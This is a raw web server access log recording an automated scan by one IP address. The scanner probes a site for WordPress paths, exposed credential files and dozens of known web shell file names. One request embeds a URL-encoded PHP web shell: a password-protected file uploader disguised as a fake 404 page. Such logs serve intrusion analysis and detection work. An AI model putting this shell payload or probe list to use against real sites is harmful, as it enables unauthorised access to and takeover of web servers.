170.39.194.53 - - [19/Jan/2025:18:33:36 +0530] "GET /wp-includes/fonts/ HTTP/1.1" 302 238 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:38 +0530] "GET /wls-wsat/CoordinatorPortType/ HTTP/1.1" 302 249 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:40 +0530] "GET /old-site/ HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:46 +0530] "GET /mt/ HTTP/1.1" 302 223 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:47 +0530] "GET /downloader/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:49 +0530] "GET /admin/editor/ HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:50 +0530] "GET /images/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:33:52 +0530] "GET /wp-content/themes/ HTTP/1.1" 302 238 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:34:11 +0530] "GET /wp-includes/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:34:20 +0530] "GET /wp-admin/images/ HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:34:37 +0530] "GET /wp/ HTTP/1.1" 302 223 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:34:44 +0530] "GET /wp-content/themes/pridmag/ HTTP/1.1" 302 246 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:34:48 +0530] "GET /certificates/ HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:34:52 +0530] "GET /WP/ HTTP/1.1" 302 223 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:34:57 +0530] "GET /old/rss/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:02 +0530] "GET /credentials/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:05 +0530] "GET /wp-includes/certificates/ HTTP/1.1" 302 245 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:11 +0530] "GET /wp-includes/IXR/ HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:15 +0530] "GET /jars/upload/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:18 +0530] "GET /tmp/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:21 +0530] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 302 246 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:22 +0530] "GET /.wp-cli/ HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:23 +0530] "GET /97bwag/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:24 +0530] "GET /alfacgiapi/ HTTP/1.1" 302 231 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:25 +0530] "GET /wp-content/themes/astra/ HTTP/1.1" 302 244 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:26 +0530] "GET /Tmp/ HTTP/1.1" 302 224 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:27 +0530] "GET /shop/rss/ HTTP/1.1" 302 229 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:28 +0530] "GET /wp-includes/blocks/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:32 +0530] "GET /status/ HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:40 +0530] "GET /wp-includes/images/ HTTP/1.1" 302 239 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:35:50 +0530] "GET /staging/rss/ HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:36:13 +0530] "GET /wp-content/plugins/wp-automatic/changelog/ HTTP/1.1" 302 262 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:36:31 +0530] "GET /website/blog/ HTTP/1.1" 302 233 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:37:20 +0530] "GET /assets/plugins/jquery-file-upload/server/php/ HTTP/1.1" 302 265 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:37:45 +0530] "GET /aws/credentials/ HTTP/1.1" 302 236 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:38:32 +0530] "GET /wp-admin/network/ HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:42 +0530] "GET /wp-content/shell.php HTTP/1.1" 302 240 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:42 +0530] "GET /xxx.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:42 +0530] "GET /wp-uploads.php HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:42 +0530] "GET /l.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:42 +0530] "GET /wp-confirm.php HTTP/1.1" 302 234 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:42 +0530] "GET /1337.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:42 +0530] "GET /leaf_mailer.php HTTP/1.1" 302 235 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:42 +0530] "GET /1index.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:42 +0530] "GET /bala.php HTTP/1.1" 302 228 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-includes/images/media/xwsoooo.php HTTP/1.1" 302 256 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-content/themes/twentytwentytwo/content-index.php HTTP/1.1" 302 271 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /components/com_b2jcontact/izoc.php HTTP/1.1" 302 254 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-content/uploads/small.php HTTP/1.1" 302 248 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-content/themes/twentytwentyone/content-index.php HTTP/1.1" 302 271 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /moduless.php HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 302 250 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /server.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-mna.php HTTP/1.1" 302 230 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-admin.php HTTP/1.1" 302 232 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /8.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-content/plugins/config.bak.php HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 302 269 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /xx.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /fx.php HTTP/1.1" 302 226 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-content/uploads/readindex.php HTTP/1.1" 302 252 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-includes/class-wp-block-type-ajax-response.php HTTP/1.1" 302 269 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-admin/bala.php HTTP/1.1" 302 237 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:43 +0530] "GET /wp-includes/images/wlw/shellwso.php HTTP/1.1" 302 255 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:46 +0530] "GET /wp-admin/images/atomlib.php HTTP/1.1" 302 247 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:46 +0530] "GET /5.php HTTP/1.1" 302 225 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:47 +0530] "GET /wp-admin/.wp-back.phP HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:48 +0530] "GET /wp-commentin.php?pass=f0aab4595a024d626315fb786dce8282 HTTP/1.1" 302 274 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:48 +0530] "GET /uploads/upload.php HTTP/1.1" 302 238 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:49 +0530] "GET /olu.php HTTP/1.1" 302 227 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:40:49 +0530] "GET /wp-content/uploads/small.php HTTP/1.1" 302 248 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:50 +0530] "GET /8.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:51 +0530] "GET /unix.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:51 +0530] "GET /wp-includes/images/media/xwsoooo.php HTTP/1.1" 302 256 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:52 +0530] "GET /new-index.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:52 +0530] "GET /wp-class.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:52 +0530] "GET /templates/protostar/index.php HTTP/1.1" 302 249 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:53 +0530] "GET /wp-one.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:53 +0530] "GET /xltavrat.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:53 +0530] "GET /gank.php.PhP HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:53 +0530] "GET /www.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:53 +0530] "GET /site/wp-content/themes/seotheme/mar.php HTTP/1.1" 302 259 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:54 +0530] "GET /wp-blog.php HTTP/1.1" 302 231 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:55 +0530] "GET /wp-includes/wso112233.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:55 +0530] "GET /wp-content/themes/twentytwentyone/content-index.php HTTP/1.1" 302 271 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:55 +0530] "GET /1index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:55 +0530] "GET /s_e.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:58 +0530] "GET /kiss.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:59 +0530] "GET /bypass.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:59 +0530] "GET /wp-mna.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:59 +0530] "GET /2index.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:59 +0530] "GET /data.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:59 +0530] "GET /wp-confirm.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:59 +0530] "GET /wso1.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:40:59 +0530] "GET /wp-includes/pomo/class-wp-sitemap-mna.php HTTP/1.1" 302 261 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:00 +0530] "GET /mar.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:00 +0530] "GET /fw.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:00 +0530] "GET /4.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:00 +0530] "GET /MARIJUANA.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:00 +0530] "GET /wp-content/plugins/config.bak.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:00 +0530] "GET /c99.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:00 +0530] "GET /wp-content/plugins/ppus/up.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:00 +0530] "GET /wp2.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:00 +0530] "GET /wp-includes/css/modules.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:00 +0530] "GET /5.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:01 +0530] "GET /snd.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:01 +0530] "GET /xleet.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:01 +0530] "GET /xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:03 +0530] "GET /tuco.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:04 +0530] "GET /403.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:05 +0530] "GET /wp-admin/js/widgets/wp-login.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:09 +0530] "GET /ws.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:09 +0530] "GET /1337.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:10 +0530] "GET /01.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:10 +0530] "GET /wp-confiig.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:10 +0530] "GET /olu.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:21 +0530] "GET /wp-content/plugins/config.bak.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:21 +0530] "GET /wp-includes/radio.php HTTP/1.1" 302 241 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:21 +0530] "GET /l.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:24 +0530] "GET /fa.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:24 +0530] "GET /xxx.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:26 +0530] "GET /wp-includes/class-wp-block-type-ajax-response.php HTTP/1.1" 302 269 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:28 +0530] "GET /4.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:30 +0530] "GET /fx.php HTTP/1.1" 302 226 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:30 +0530] "GET /server.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:31 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:41:32 +0530] "GET /legion.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:32 +0530] "GET /wp-admin/kevindepzai.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:33 +0530] "GET /wp-uploads.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:34 +0530] "GET /wp-content/wso112233.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:34 +0530] "GET /wp-content/themes/twentytwentytwo/content-index.php HTTP/1.1" 302 271 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:41:34 +0530] "GET /n.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 